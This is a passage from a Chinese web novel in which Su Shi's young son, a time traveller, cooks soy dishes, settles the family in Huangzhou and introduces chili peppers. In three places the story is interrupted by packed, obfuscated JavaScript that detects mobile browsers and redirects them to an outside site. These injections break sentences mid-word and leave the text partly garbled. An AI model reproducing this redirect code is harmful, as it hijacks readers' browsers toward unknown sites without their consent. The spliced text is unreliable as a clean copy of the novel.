吃完早饭溜达到厨房，拜托人帮忙将豆子泡上做好前期准备，苏过就溜达过去找老苏了。 老苏正和陈季常在喝酒谈心，两个弟子也陪在一侧。 窗外就是陈家的数亩良田，虽然目前只剩下零零散散几颗豆苗，陈季常依然兴致颇高的跟苏轼展望他明年的种地规划，争取实现全部自给自足。 谈到高兴处，陈季常总觉得少了点啥，于是唤来下人，吩咐去城里酒肆请两个歌女来演奏助兴。 下人刚出去不久，就听到门外传来一声怒吼，“陈季常你胆子又肥了！” 吓得陈季常手中酒杯一下子翻倒在桌上。 老苏见状，调笑道，“河东柳氏，驭夫有方啊。” 嗯？ 河东柳氏？ 难怪总觉得名字耳熟，原来是河东狮吼这对CP呀！ 11. 第 11 章 面对好友调侃，陈季常只能干笑两声，将打翻的杯子放好。 见还有孩子在旁边，更不好意思，忙出去哄妻子。 不知说了什么好话，倒是再没听到柳氏声音，还有丫鬟送来精致点心，看来是哄好了。 老苏等人继续聊天，当然，歌女什么的肯定是没有啦。 在黄州还要待不知多少年，也不急着逛。 两人只抓紧时间叙旧，忆及许多在凤翔的往事。 说着说着难免提到陈季常父亲陈希亮。 两人本是同乡旧识，结果苏轼刚到凤翔时，这位长辈不仅没有关照有加，反而对他多有批评。 多次删改老苏写的公文，连缺席相关宴会都要上奏朝廷扣他工资。 那会儿老苏正年轻气盛，还是被仁宗亲自点评有未来宰相之才的少年才俊，哪里能受这种气。 于是陈希亮修了凌虚台后让苏轼写传记，老苏直接在《凌虚台记》中阴阳怪气给陈希亮添堵，“台犹不足恃以长久，而况于人事之得丧”，别看现在高台修的这么好，谁知道以后会不会变成长满荒草的野地呢，有些人也是一样。 没想到陈希亮读后一个字没改就让人刻在碑上了。 听到这些旧事，陈季常也很唏嘘，隐居于此，这些往事很少有人能聊起了。 “家父三年前已经去世，若还在，想必也很愿意再见子瞻。” 听闻陈希亮已经去世，老苏倒是感慨不已。 当初虽相处不愉快，但后来陈希亮也曾开诚布公跟苏轼聊过，按辈分他比苏洵还要长一辈，因此视苏洵如子侄，更视苏轼如子孙，老苏年少成名，担心他骄傲自满，所以才平时不假辞色，十分严厉，都是为了磨练老苏心性。 知道其良苦用心后，苏轼心里的愤懑一下子全消了。 如今听到故人去世的消息，心下更是难受，于是提议为陈公写一份传记。 苏轼甚少写这类文章，此举倒是出人意外。陈季常自然求之不得。 写这类传记要好好梳理事迹酝酿情绪，不急于一时。 于是几人又开始聊到诗词佛经。 苏过听的无聊，果断抛弃老苏他们，去找娘亲。 王氏正和柳氏了解黄州的情况，毕竟他们初到此处，官场上的事自有老苏自己处理，但一大家子生活如何操持，人际往来总是要提前做些准备。 对此柳氏自然知无不言，虽然他们只在此隐居，基本不问世事，但柳氏对周围情况还是十分了解的。 黄州在北宋是完完全全的下州，管辖范围仅黄冈、麻城、黄陂三个县，加起来人口户籍不满万户。 虽然位置在长江中游，但早年间连码头都没有，江水湍急，严重影响舟船停泊。 若不是知州夏竦主持开凿了水港，后面逐渐发展成码头，这边恐怕会更加荒凉。 王氏本来还打算在这边看看做些生意，听柳氏这么一说，倒打消了念头。 既然商业不发达，倒没必要特地掺和，反倒打眼。 他们刚到此地，老苏又是被贬过来，还是低调一些，慢慢经营比较好。 柳氏倒是建议她买些田地，自家供给或租出去都是好的。只位置记得选高一些的地方，此处常有水患。 听闻柳氏详细建议，王氏十分感激，两人又聊到别的持家事宜。 苏过在旁边听了一耳朵，本来还打算一路火锅连锁店开过来，现在看来情况不妙。 不过民以食为天，总能找到突破点的。 再不济，他就继续远程开店咯，风险高一些，但总归有些收益。 等系统解锁高级物资再看看能有什么作为。 打听到有效信息，苏过也不继续待着，跟两人说了一声就跑去厨房研究他的豆制品了。 像是腐竹这些，要提前做出来晒一晒的。 忙活一下午，终于基本备齐。幸好陈家仆从众多，否则还搞不定这么多东西。 第二天一早餐桌上就出现了新东西。 白色的豆浆倒还算常见，之前厨房也有熬制过，只味道比较寡淡或者有腥味，喝多了也就不怎么再做。 这次的豆浆倒是熬的十分香甜，豆香味明显，而且应该有放糖，甜甜的十分好喝。 还有一大盘金黄色长条状果子，倒是从未见过。 苏过给大家介绍，这叫油条。顺便示范了吃法。 刚出锅的油条，直接吃就非常美味，香脆可口。当然，更好吃的做法是放在豆浆里泡一泡，处于半软不硬的时候，一口咬下去，豆浆和油条在口腔里混合，美味简直翻倍。 在他的介绍下，大家纷纷尝试，然后赞不绝口。 以前不爱喝豆浆，原来是没有油条搭配，学会了，以后豆子有用处了。 苏过忙表示，这才哪到哪儿，等晚膳的时候再看吧。 柳氏十分喜欢油条味道，忙问苏过是如何做出的，为何叫油条。 以前倒有过类似油炸的果子，叫寒具，但可没有这么酥脆跟蓬松。 苏过忙说相关做法已经教给厨娘了，以后想吃让厨房做就好。 至于名字，当然是演化而来。油条的名字可多了。 馃子、油馍、天罗筋还有油炸鬼。 说起油炸鬼这个称呼，还要溯洄到油条起源。 清代《清稗类钞》就有说是南宋的时候，秦桧害了大英雄岳飞，于是临安卖果子的商贩，将面团捏成秦桧和他妻子的人形，背对背粘在一起，扔进油锅炸，并称之为“油炸桧”，后面再演变，到广东地区，就叫油炸鬼了。 故事不知真假，但有人气的故事永远是美食的传播助推器。 现在还不到岳飞的时代，这个故事自然无法讲起。 苏过只能现编，说是以形命名，油炸的条状果子，所以叫油条。 吃完豆浆油条，大家对苏过口中提到的其它豆制品更加期待了。 苏过自然也没让他们失望。 晚膳几乎是全豆宴。 白白嫩嫩的豆花饭，一点茱萸酱点缀其中，十分下饭。 光是豆腐就做了麻婆豆腐与香煎豆腐两种。 毕竟在座的大部分都是老家眉州的人，吃点辣完全不在话下。 更神奇的是一种皱巴巴的豆皮，苏过安排做了红烧，豆皮吸饱汤汁后十分入味，简直可以配着多吃两碗饭。 苏过特地介绍说这叫腐竹。 另一份腐竹煲就更加鲜香了，和老母鸡一起慢炖，汤汁浓郁、腐竹软糯鲜香，吃完重口的饭菜再喝点汤，简直满足到嗓子眼。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16405641|184447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 桌上还另上了黄豆排骨和一些其它菜色。可以说将黄豆发挥到了极致。 柳氏吃完赞不绝口，本来还以为苏小郎只是玩笑话，自己也没有当真，结果没想到真做出了这么多菜色。 而且听苏小郎说，还正在用豆子发一种叫豆芽的菜，后面可以清炒，简直太适合缺少蔬菜的冬天了。 说也奇怪，之前厨房也有做黄豆还有豆腐相关菜色，但都没有今天这样色香味俱全，不然家里豆子也不会堆积成山。 要是能让苏小郎在这儿常住就好了。 苏过还不知道小露一手差点被留下，当然，肯定也留不下来。 见陈季常和柳氏一家都十分满意，忙说这些都是厨娘从昨天开始帮忙做的，一应做法都学会了，以后想吃随时可以点单。 喜得陈季常差点想当场认苏过当干儿子。 毕竟他崇尚佛法，一直想要将饮食改为全素，如今豆子做出了这么多好吃的，简直帮了大忙。 而且更重要的是，这样一来，他明年又可以继续种豆子了，柳氏肯定不会再唠叨。 这一顿吃的大家都很满意，一个个肚子撑的在院子里散步许久才回房间睡觉。 第二日苏家众人向陈季常与柳氏辞行，他们要准备去州府了。 毕竟圣旨有规定让年前赴任，总不好拖延太久。 无法，只得约定了以后再来拜访，苏家众人装上行李往府衙而去。 岐亭距离黄州府衙并不算远，但依靠骡马通行，也还是走了一日才到达。 终于，他们抵达目的地了！ 黄州，这个注定要因苏大佬而留名的地方！ 虽然之前有听柳氏描述，知道州府的荒凉，但真正抵达时，看到比人高不了多少，甚至远处还有些断断续续、残缺破损的城墙时，苏过还是对这里的简陋有了更具象的感知。 真不愧是贬谪流放的地方啊。 待进了城，更是感知明显。 好多房子都是茅草做的屋顶，完全没有汴京的繁华精致。 但此地居民倒看起来十分淳朴善良，十分安居乐业的样子。 老苏不愧是骨子里的乐天派。 看到州府依山傍水，顿时觉得这里山水清远，还现场赋诗，“长江绕郭知鱼美，好竹连山觉笋香。” emm?就这？ 鱼呢，笋呢？ 原来诗人的浪漫也很靠想象力啊。 毕竟是来赴任的，苏轼整理了衣着，先去府衙报道，拜见知州等人，顺便了解住宿俸禄等安排。 苏家其他人找了个茶馆暂时休整。 毕竟初到此处，一切都还得看州府怎么安排。 哪怕条件差一些，他们也不是没有积蓄基础，总能好好过下去。 约莫等了半日老苏才回来，脸上一副郁闷加无奈的表情。 原来苏轼到黄州算是犯官，是没有官舍可以居住的。 至于俸禄，理论上是有，但也因为犯官身份，并不直接发放禄米，按这边惯例，是用压酒囊折抵的。 当下黄州知州姓陈，倒是对苏轼挺有好感，见他们全家初来乍到，特地关照可以到东门定慧院暂居。 总而言之，又一个天崩开局。 苏过：这感觉怎么这么熟悉呢。 12. 第 12 章 他们一行人初来乍到，总归要找个地方落脚。 知州大人一番好意也不好辜负，便去了城东定慧院。 这边的寺庙自然不如汴京富丽，但北宋当和尚的福利还是很好的。每个寺庙都有寺田，还一点赋税都不用交，更不用服徭役。可以说一张和尚度牒比铁饭碗还铁饭碗，当然，也很贵就是了。 在官府一张度牒要130贯，偏远地区价格炒的更高，像广西什么的价格几乎炒到五倍。这价格怎么说呢，相当于知州大人一年的俸禄了。 果然好的东西都很贵，这个家出不起，出不起。 定慧院规模不算大，加上住持一共也才四五个僧人，除僧房外还有几块田地，平日里都是自己人在打理。 听说苏轼一行人是知州安排过来的，立马打扫几间僧房出来，因还有女眷，特地选了偏一点的位置，免得生活不便。 谢过住持好意，一名年轻僧人给他们带路。 僧人名叫惠礼，倒是健谈的性子，听说他们刚到黄州，短短一路几乎要把整个城里介绍个遍，还非常热情的让他们不要客气，寺里厨房等随意使用，负责厨房的是和他关系很好的师弟惠冲。 谢过好意，苏家众人回到房间，在定慧院安顿下来。 第二日，老苏还得继续去府衙向知州大人致谢。 当然，上班什么的是不用的，倒不是因为初来乍到，而是现在已经连小年都过了，府衙早就放假，到正月二十才会开印办公，整个衙门只有知州值守，别的都回老家过年或是本地人在自家休假了。 刚入职就放小长假什么的，想想有一点小开心。 当然，这也只是小苏的心里活动。到这么个地方，大人们肯定还是郁闷更多。 不过再怎么郁闷，除老苏外，他们还有一个重要任务。那就是置办年货。 距离过年没几天了，新年新气象，刚到这个地方，怎么着也要开个好头。 王氏带着三个儿子去采买，晁无咎也跟着帮忙，毕竟除了年货，他们连日用品都没有置办，要买的东西还很多。 秦观则跟着老苏去府衙找知州大人喝茶。 幸好有惠礼的热心介绍，他们基本将城里布局以及购物点掌握了大概，不需要带路都能出门。 黄州城的确不够繁华，大商铺并不多，但小店摊贩十分活跃。大约是临近年下，既没有农忙又是华夏人民最肯花钱的时节。城里几乎天天跟集市一般热闹，多的是像王氏他们这般采购的人。 百姓大多穿着粗布麻衣，但脸上都是一副安居乐业的平和样子，倒让他们一下子对接下来的生活期待了些。 据惠礼介绍，西市的东西普遍更物美价廉，他们也没犹豫直奔西市。 从锅碗瓢盆到米面粮油，晁无咎和苏大哥轮流搬运好几次回去，才勉强没有提着一堆东西逛街。 虽然僧人们说可以直接用寺里的厨房，但这么多口人，总不能什么都用人家的。而且这些东西以后搬出去也都用得到。 一番采购下来，苏过发现这边东西是真便宜。 他可是在京城开过店深入了解民生的人。黄州物价几乎不足汴京三分之一。说是欠发达，但依山傍水，物质资源并不十分匮乏。山货水产都不缺，物美价廉。吃住成本低，只要没什么天灾人祸繁重徭役，生活自然也差不到哪儿去，难怪所有人脸上都是一副平和安乐的样子。 面对这个价格，王氏的反应是最明显的，几乎用得到的东西都直接包圆。估计要不是现在还借住在人家寺里，能买更多东西。 跑了这么大一圈，尤其是苏大哥和晁大哥搬东西劳累，他们早就饿了，刚好路边有许多小食，他们选了一家卖鱼丸汤的坐下。 黄州湖多，这边的人十分擅长吃鱼，冬天也有许多鲜鱼售卖。像这家的鱼丸做的就很地道，鱼肉鲜嫩，口感劲道，一同煮的还有另一种白色鱼块，据店家介绍是这边特色鱼糕，用鱼肉糜蒸制而成，口感是跟鱼丸不尽相同的软嫩弹滑。不愧是鱼米之乡。 吃鱼好呀，鱼有好多种做法。 不过他们现在住在寺庙，不知道方不方便做肉食。 北宋和尚其实不禁荤腥，大相国寺还有专门烤猪的院子，远近闻名。但也有一些僧人讲究清修，是一点都不沾的，不知道定慧院僧人属于哪一派，且先观察观察。 基本用品采买完毕，一行人准备回去，剩下的慢慢查漏补缺。 等回到院子，老苏跟秦观已经回来了，正对着园子里一车酒袋发愁。 原来陈知州考虑到老苏刚来这边又临近过年，特地让提前预支了薪水，好变卖过年。 但这一堆酒袋，真难住了老苏，写诗作词他擅长，公务美食他专业，但这卖东西就难住他了。 王氏不愧是真·苏家顶梁柱，立马找来了惠礼师傅，询问城里哪里有收这些的地方。 僧人们见多识广，惠礼更是交友广泛，直说认识一个收酒袋的，可以直接叫来这边收走，价格保证公道。 不愧是北宋的僧人，高级、高效！ 没多久，惠礼说的熟人就过来了，验过货后现钱结清，一共收入4500文钱！ 哇哦，按老苏俸禄，不吃不喝好几年才能买得起一份度牒呢。 真是可怜的收入。 老苏将新出炉的工资上交给王氏。 王氏并没说什么直接收下了，只心里默想还是得赶快置办些田产庄子，弄些进项。 不过他们今天刚逛完街，了解了这边的物价，在这种环境下，老苏的俸禄还是可以很勉强很勉强生活的。 大家默契的没说什么，各自去忙。 没一会儿苏过去找老苏，发现他正拿着一堆铜钱在那数。 原来王氏前脚将老苏工资收下，后脚就直接给老苏当零花钱了，真是让人羡慕嫉妒。 而让人羡慕嫉妒的苏轼，正在认真将一堆铜钱分成30份，分别装好。 苏过问他在干嘛，竟然说要通过这样来约束自己花钱，每天只能花150文。毕竟老苏的文人好友众多，自己也喜欢喝酒美食，难免许多交际开销。总不能家用不管，还倒找娘子要钱，那就得省着用了。 苏过听了简直心酸，收回羡慕嫉妒，拍拍老苏肩膀，去找王氏了。 他不一样，他还是小朋友，找亲娘要零花钱天经地义！ 因采买好了物资，第二日一早苏过便早早起床，准备做包子。 昨天市场有人卖晒干的山货，香菇品相甚好，苏过昨晚就泡上了。冬日里蔬菜不多，发挥空间受限，不过窖藏的白菜萝卜什么的还是很多的，苏过将香菇切碎，又切了萝卜丝一起调好馅儿，惠冲师傅见他年纪小，帮忙揉了面。 僧人们时常有做功课，体力很不错，面揉的十分劲道。再配上苏过的馅儿。等出炉后，素包子闻着也香气十足。 拜托惠冲师傅帮忙将包子送给寺内其他僧人，苏过先端了一盘子去找住持，毕竟借住在人家的地方，总要打好关系表达下感谢。 住持定真长的十分慈眉善目，性格也是真的好。 见苏过端来包子，念了声阿弥陀佛，“小施主客气了。” 苏过忙回礼，顺势坐在定真旁边一起分享香喷喷的包子。聊一聊昨日的黄州见闻。 黄州佛学兴盛，定慧院的香火十分旺盛，定真主持也算交友广泛，见多识广，和苏过你来我往，从黄州聊到别处，又从风俗讲到养生，可以说是十分相谈甚欢。 等包子吃完，定真主持要去做早课，苏过也准备回房。 定真叫住苏过，“临近新年，寺中有提前备好的熏鸡熏肉，可找惠冲匀你们一些。” 熏肉？ 太好了，过年可以不戒荤腥了。 看来住持不是清修一派，接下来的过年准备可以放开手脚了。 苏过回到厨房将包子端给王氏等人，顺便分享了这个好消息。 最开心的莫过于苏轼了，老苏本来就是无肉不欢的人，这下没了顾忌，开心不已，手里的素包子都更香了。 既然不必局限于素菜，那年货就得再备一些。 王氏继续出门采购，而苏过和苏二哥则被留了下来。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16405642|184447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >无他，老苏决定趁假期，抓一抓两人的学习。 毕竟之前家里出事，他被关在牢里许久，出来后又出行奔波，基本没有机会好好盯着他们读书，两个儿子肯定也有一定自觉，但小孩子哪有爱学习的，课业肯定荒废许多，尤其是过哥儿，折腾出这么多菜谱，哪来时间看正经书。 如今也算到黄州安顿下来，孩子们的学习就要抓起来了。 苏二哥接受良好。 苏过表面乖乖拿起书本，心里不断哀嚎。 还有两天就过年了！ 谁家孩子在这种时候学习呀！ 但的确也好久没有看书，上次老苏给的一堆书都只看了个开头。苏过不敢反抗，听老苏讲了一上午的课。 但不得不说，论学识，老苏不愧是顶呱呱，讲起课来旁征博引，而且见解独到，十分有趣。 听着听着苏过就入了迷。 家人们，谁懂啊。 人在北宋，听苏轼讲课。 这种机会，简直难得。 苏轼对教学进度也十分满意，儿子们都随他，聪明机灵，文章一讲就通。 看来还是要好好抓一抓学习，毕竟以后都是要科考的人，不说出个神童，基本的进士身份总要拿到吧。 苏过如果能听到老苏心声一定会吐槽，进士身份说的跟批发一样，学霸的世界恐怖如斯。 老苏满意结束教学，顺便定下之后每日上午讲课的课程表和看书功课，便让两人去玩了。 功课什么的先放到一边。 苏过去看王氏带回来的采购战果。 因知道可以开荤，今日特地额外又买了鸡鸭，连活鱼都备了两条，准备先养几天，正好过年再吃。 别的东西也陆续备了一些，倒是有一袋板栗让苏过很是惊喜。 个头饱满，果大壳薄，尝了下还带点桂花香，可以说品质十分出众。 原来板栗竟是这边特产，有人将收下的板栗晒干，倒也存储到现在，尝起来味道不差。 挺好的，板栗烧鸡，新年菜单确认！ 忙忙活活一下子就到了除夕。 寺庙里僧人也不多，苏过找主持商量后，决定大家一起吃年夜饭，也热闹热闹。 苏过一大早就开始泡在厨房，要做的菜色比较多，好在惠冲手艺不俗，其他人也能帮忙打下手。 于是一半人做年夜饭，另一半人打扫房间整理东西。 菜单是昨日就和惠冲商量好的，充分利用现有的食材，苏过也学到了许多这边的习俗，比如年夜饭一般要吃“三全”、“三糕”、“三圆”，“三全”就是全鸡、全鸭、全鱼，“三糕”就是鱼糕、肉糕、羊糕，“三圆（丸）”就是鱼丸、肉丸、藕丸。象征着十全十美、团团圆圆和步步高升。 做法上苏过对菜色进行了改良，口味一下子丰富起来。再加上之前陈季常家离开时送的许多豆子，苏过也提前和惠冲处理好，做了豆皮，甚至费功夫做了素鸭。 年夜饭时，满满当当两大桌菜。 苏轼带着众人以茶代酒，感谢住持与众僧人的收留和关照。 僧人们忙道阿弥陀佛。 然后就开始埋头于丰盛的菜色。 虽然还是往年差不多的食材，但味道做法可相差太大了。 香喷喷的板栗烧鸡、满口流油的烤鸭、还有那不知道为什么取名松鼠鳜鱼的炸鱼。 等吃完年夜饭，一个个都肚滚腰圆。 小孩子照例是不参与守岁的，苏家小郎们收了来自父母的压岁钱就去休息了。 寺庙里不兴放鞭炮，但远处还是偶尔传来一点爆竹的声响。 睡在旁边的苏二哥感慨，“新的一岁就这样开始啦。” 苏过听到叮的一声，“恭喜升级。” 打开面板一看，原来不知不觉，已经五千积分攒满，系统升到两级了。 新解锁了几样作物，最重要的是，辣椒可以购买了。 辣椒！ 果然新年新气象，红红火火。 苏过感慨，“是啊，新的一年开始啦。” 13. 第 13 章 苏过有点惆怅。 他发现一个比较难办的问题。 那就是，辣椒终于有了，但他要怎样合情合理的将辣椒拿出来呢？ 不知道穿越前辈们是如何解决这个问题的，但目前苏过目前找不到什么好办法。 墙角长出来的？ ——不明作物，不能吃。 番邦进口？ ——哪个番邦，什么时候进来的。 要知道老苏十分博闻广记，随随便便编的出处可糊弄不了他。 怎么办呢，以后还有红薯玉米土豆呢，不解决那金手指就没有用武之地啦。 急！ 大年初一，苏过伴着疑问醒来，决定将此事当作今年第一要务解决。 然后，溜达进了厨房。 美食最容易给人带来灵感了。先弄点好吃的再思考吧。 厨房还放着没用完的板栗，饱满圆润的一个个，太适合拿来做点心了。 惠冲师傅见苏过来，很热心的问他想做点什么。 昨天的年夜饭已经彻底征服了他，现在可以说是苏过让往东，他肯定往东。 “惠冲师傅，寺里可有糖？”苏过找惠冲咨询，毕竟这么大颗的板栗，不糖炒岂不是辜负。 “小郎是要沙糖还是糖霜？” 作为寺庙大户，一点点糖还是小问题的。 两种苏过都没听说过，于是让惠冲各找了一点给他看。 沙糖是一种黄褐色的晶状物，而糖霜就有点像冰糖了。尝起来倒是都很甜。看来白砂糖还没有出世，可以研究下，记在小本本上。 苏过取了一种，指导惠冲帮忙，炒出一大锅糖炒栗子。颗颗油亮饱满，闻着十分香甜。 趁惠冲炒栗子的功夫，苏过又做了一批栗子糕。 老苏和苏二哥闻着香味就过来了。 守在锅旁，尝到了第一批新鲜出炉的炒栗子，直呼好吃。 正好，让他们将点心带回院子，苏过直接端了一盘栗子糕，又装了一袋子炒栗子，就准备去找住持，上次聊的风土人情还没有完结呢，可以再唠唠。 然而到了禅房，定真住持正在招待客人。 满头银发却很精神，脸上带点严肃，正跟住持下棋。 见苏过在门口探头探脑，住持忙让他进来。 “苏小郎有何事？”刚问完就看到他提着的食盒，香气正不断冒出，哪里还不明白。 于是笑了笑让他在一旁坐下。 本想先下完这盘棋，但刚出锅的糖炒栗子香味实在太霸道，两人频频思路被打断。 于是对面的银发老人率先放下棋子，“心神不定，不宜下棋。” 定真住持念了声阿弥陀佛，也放下棋子。“知州大人先用些点心吧。” 知州大人？ 苏过听到这个称呼连忙看过去，原来这就是对他老爹关照有加的知州大人啊，听说和他爹同名不同姓，叫陈轼，还和王安石曾巩都是老乡呢。 果然古代的人才经常成批出现。 于是连忙端出栗子糕和糖炒栗子，请两位品尝。 糖炒栗子苏过已经提前处理好了开口，剥起来十分便利，口感软糯，十分适合老年人。 尝到好吃的，陈知州脸上的严肃都淡了很多。 可以说是和颜悦色的问苏过，“在这里还住的习惯么？” 苏过忙点头。 住持和各位师傅都十分照料，定慧院是真的挺不错的。 “多谢知州大人关照，这边一切都很好。” “那就好，不过寺庙终究不是久留之地。待节后我会安排人修葺临皋亭，到时你们可搬去居住。”知州大人吃完一块栗子糕，对苏过说道，微微点头，甜而不腻，很好。 临皋亭？这个地方倒没听说过。 将盘子留在禅房，让住持和知州大人慢慢享用，苏过准备回房间。 路上遇到惠礼，苏过忙打听临皋亭，要是以后搬过去的话，地理位置很重要啊。 惠礼不愧定慧院小百科。三言两语就给苏过讲清楚了。 原来黄州虽然略显荒凉，但离城一公里外的临皋，倒是一个十分繁忙的码头，毗邻长江，往来商船不断，漕粮转运也途径此处，于是形成了另一个商业圈。 码头附近倒比城里繁华许多，临皋亭就是那里的一个驿馆，供往来官员居住。 码头？驿馆？ 听到这个关键词，苏过眼前一亮。 这意味着什么？ 往来商船就意味着可以带来各种远方的，不知名的东西。咱们出口转进口一下，不就解决来源问题了么。 果然美食是第一生产力，新年问题解决。 接下来正好可以以搬家为由，过去逛一逛。 将知州大人的口风告诉爹娘，王氏尤其高兴。 她最近正在考虑后面住处的事呢。毕竟长子不久后要带着一大家子过来，别说寺庙住不下，就算住得下，也不能这么多人一直麻烦人家。 苏过正在思考如何不动声色提出去临皋转一转，就听王氏跟老苏说，“明日咱们还是得去临皋看下，到底环境如何，也提前有些准备。” 太好啦！ 忙拉着王氏，说自己也要去。 于是最后变成一家人都去逛一逛。 第二日用过早饭，一群人借用寺里的马车前往临皋。 商业区果然很不一样，大约是随船商人多在此处歇脚，比起城里的小贩经济，这边反而酒楼客栈等更多，也更加豪华。 倒是让苏过再次升起了开店的心思。 毕竟这次升级让苏过看到多渠道攒满意值的可行性与高效。 目前二级只解锁了辣椒这种作物，剩下两种都是零食爆米花什么的，虽然也很好吃啦，但有爆米花却没有玉米，想想怎么都不太甘心。 升到下一级要五万，不多开些店，升级依然是漫长的事情。 迟来的宝贝哪有及时享用的好，可以暂时拿不出来用不到，但不能没解锁拿不到呀。 苏过正发着呆，他们就已经到了临皋亭。 临皋亭靠着长江，走几十步就能到江边，对岸便是武昌樊山。驿站就建在亭子后面。 一行人走近一看，纷纷沉默。 怎么说呢，地方倒是挺宽敞的，哥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16405643|184447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哥嫂子大家过来应该都住得下。 但估计甚少有官员路过居住，驿馆已经破败的不成样子。陈知州如果要翻修，恐怕得费好一番功夫，也不知道能修成什么样。 简单绕了一圈，王氏便拿定主意，“知州心善，但此处实在太过破败，即使修缮，居住起来恐怕也问题颇多，不如另赁房屋，各项都便宜。” 黄州物价这么便宜，想来租房也不会贵到哪儿去，遇到便宜的买一套也不是不成。 等知州修驿站，不知道什么时候修好，万一苏迈等人提前到来一切还没修整好，反而不便。 苏轼于庶务上向来很听王氏意见。更何况也是这么个道理。 不过他倒挺喜欢临皋这边的，地势清旷，下临大江，闲时漫步观景，肯定心旷神怡。 “此处风景甚好，且繁华比之城内更甚，不如租在此处好了。” 老苏提议，而且这里离城中也不远，准备匹马或马车什么的，往来也方便。 他到此处，说是做个团练使，但一点实权都没有，想必也不需要成天打卡。倒不如住在此处，赏景游玩，乐得自在。 王氏也十分赞同，当下就找了牙人帮忙留意附近合适的住所。 趁大人们忙着正事，苏过申请逛一逛，得到批准后带着苏二哥，由晁大哥陪同，往码头走去。 越靠近码头越是繁华，不乏穿着丝绸，系着金玉腰带的富商，往来押运漕船的官差，当然，还有更多的码头工人在搬运货物。 苏过仗着自己体型小，到处乱晃，跟码头上休息的工人聊的火热。 他年纪小，长的可爱，又拿着香香甜甜的炒栗子，基本上没有人能拒绝。 从工人到小贩，他都拿着糖炒栗子分了一圈，甚至还和刚下船的船商也聊的火热。 晁无咎本来贴身跟着苏过生怕有危险，但见周围官差也多，便也纵着他自己到处跑了。 等苏过逛完一圈回来，特意带来的一兜糖炒栗子已经分完，倒是换回来一些别的玩意，多是船商沿途带的小东西。 和王氏汇合时，他们已经看完几套房舍了，但都不甚满意，于是嘱咐牙人继续留意，便准备先回去。 老苏倒是十分眼尖，见苏过捧着一堆东西，忙问他是些什么。 于是苏过将自己的光辉战绩吹嘘了一遍，然后假装不经意的拿出自己掺在里面的私货。 一包辣椒和种子，并不多，毕竟升级后，他也没剩多少积分兑换。 推到船商头上，说是一个船商送给他的调料，比茱萸更辣，叫辣椒。 听说比茱萸更辣，苏轼一下子来了兴趣，而且这东西闻起来的确一股呛鼻的辛辣气味。 虽然不知道是哪里的作物竟然从未见过，但船商经常大江南北的跑，难免有些番邦甚至海外之物。 于是苏轼也不纠结，只继续追问可以怎样食用。 见蒙混过关，苏过在心里给自己点了个赞。 面上倒不露声色，腼腆地笑着说，“那船商倒教了我几种做法，等回去可以试一试。” 于是一行人返回定慧院，当晚，厨房里就飘出一股异常香的味道。 14. 第 14 章 老苏最难抵抗这个味道，几乎是一闻到就跑来厨房守在锅边。 却见苏过只是在熬一锅汤，里面空空如也啥都没有。 虽然汤里面放了很多调料，还有那个叫辣椒的东西，闻起来是很香没错，但总归要加一些食材吧。 “今晚是吃涮锅么？”老苏说出自己的猜想。 苏过却摇了摇头，“我们吃钵钵鸡。” 钵钵鸡？ “鸡在哪里？”老苏疑惑。 苏过让惠冲帮忙端来串好的食材，倒是也有鸡肉，但更多的是五花八门，从素菜到肉类十分丰富。 将食材都放进锅里，继续熬煮。 苏过开始给老苏将自己从船商听来，实则现编的故事。 他们在船上饮食不便，于是时常拿陶盆瓦罐装一罐子熬制好的汤料，行船时，食材串好放进去煮，既吃起来方便，又可以重复利用底料。 在陆地上本来是煮鸡肉比较多，后面就不讲究食材，有什么串什么了。所以才叫钵钵鸡。 很是说得通。 老苏表示理解，然后就开始守着想要尝一尝这新鲜出炉的钵钵鸡。 苏过能怎么办呢。 只能宠着自己老爹，一煮好就拿碗给他盛了一份，剩下的才装好带回院子。 剩余的汤料和食材都很多，惠冲继续熬煮好给寺里僧人还有住持。 晚膳大家几乎爆发出了跟吃火锅时一样的热情。 比茱萸翻了好几倍的辣度，在苏过的调味下可以说是又香又辣。 大家已经算是能吃辣的人了，依然被辣的嘶嘶作响，但又忍不住，一串接一传的吃。 老苏本身就很嗜辣，遇到辣椒更是吃的头都不抬。 “这船商倒送了样好东西，辣椒还剩多少？可能种出来？”一下子就开始安排后面了。 “没剩多少了，不过等开春就可以种下试试，说是两三个月就能结果，还可以反复播种，一直采摘。”苏过回道，的确不剩多少了，今天拿出来的其实这一顿就已经用光。但后面总能再兑换一些的，只是得悠着点了。 听说不能时常吃到，苏轼有些失望，但转念一想，不过是等几个月而已，好东西不怕等待。 “咱们买几亩地，都种上这个辣椒吧。”老苏跟王氏建议。 王氏听了哭笑不得，就那么点种子，院子里随便一撒估计就种完了，哪里需要几亩地。 